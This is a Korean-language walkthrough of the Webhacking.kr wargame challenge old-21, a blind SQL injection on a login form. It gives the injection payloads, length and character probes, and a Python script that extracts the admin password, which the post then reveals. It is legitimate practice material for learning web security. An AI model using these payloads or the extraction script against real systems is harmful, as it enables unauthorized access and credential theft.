Wargame/Webhacking.kr
<Webhacking.kr> old-21
지우친구 웅이
2021. 12. 3. 16:31
admin으로 로그인해야 하는 것 같다.
페이지 소스 코드를 살펴보면
<html>
<head>
<title>Challenge 21</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
input { background:silver; color:black; font-size:9pt; }
</style>
</head>
<body><br><br>
<center>
<form method=get action=index.php>
<table border=0 align=center cellpadding=10 cellspacing=0>
<tr><td colspan=2 align=center><h1>BLIND SQL INJECTION</h1></td></tr>
<tr><td align=center>id : <input name=id size=30></td><td></td></tr>
<tr><td align=center>pw : <input name=pw size=30></td><td><input type=submit></td></tr>
<tr><td colspan=2 align=center style=background:silver;color:black;font-size:9pt;>Result : <b>
</b></td></tr>
</form>
</center>
</body>
</html>
GET 방식이므로 URL 창에
?id=admin&pw=' or 1=1%23을 입력하면
?id=admin&pw=' or 1=2%23를 입력하면
이를 통해 "wrong password"는 참이고, "login fail"은 거짓이라고 짐작해 볼 수 있다.
■pw 길이 구하기
?id=admin&pw=' or length(pw) > 35%23를 입력하면
?id=admin&pw=' or length(pw) > 36%23를 입력하면
이를 통해 pw의 길이는 36임을 알 수 있다.
■pw 구하기
?id=admin&pw=' or ord(substr(pw,1,1))=47%23를 이용해
파이썬 코드를 작성하면
import requests
import string
baseurl = "https://webhacking.kr/challenge/bonus-1/index.php"
cookies = {"PHPSESSID" : "6cil8ne4r5hht2qdrpo2d8enau"}
pw = ""
want_str = "wrong password"
for i in range(1, 37):
for j in range(33, 127):
url = baseurl + "?id=admin&pw=' or ord(substr(pw,{},1))={}%23".format(i, j)
res = requests.get(url, cookies=cookies)
if want_str in res.text:
pw += chr(j)
print("{} : {}".format(i, chr(j)))
break
print("pw : ", pw)
누가 봐도 g가 아닌 것 같지만, 이를 사용해 로그인 하면
로그인이 되질 않는다.
첫 번째 자리만 break없이 코드를 돌려보니 g도 "wrong password"를 출력하고,
t도 "wrong password"를 출력한다.
"admin"과 "there_is_no_rest_for_the_white_angel"로 로그인해보면
문제를 해결할 수 있다.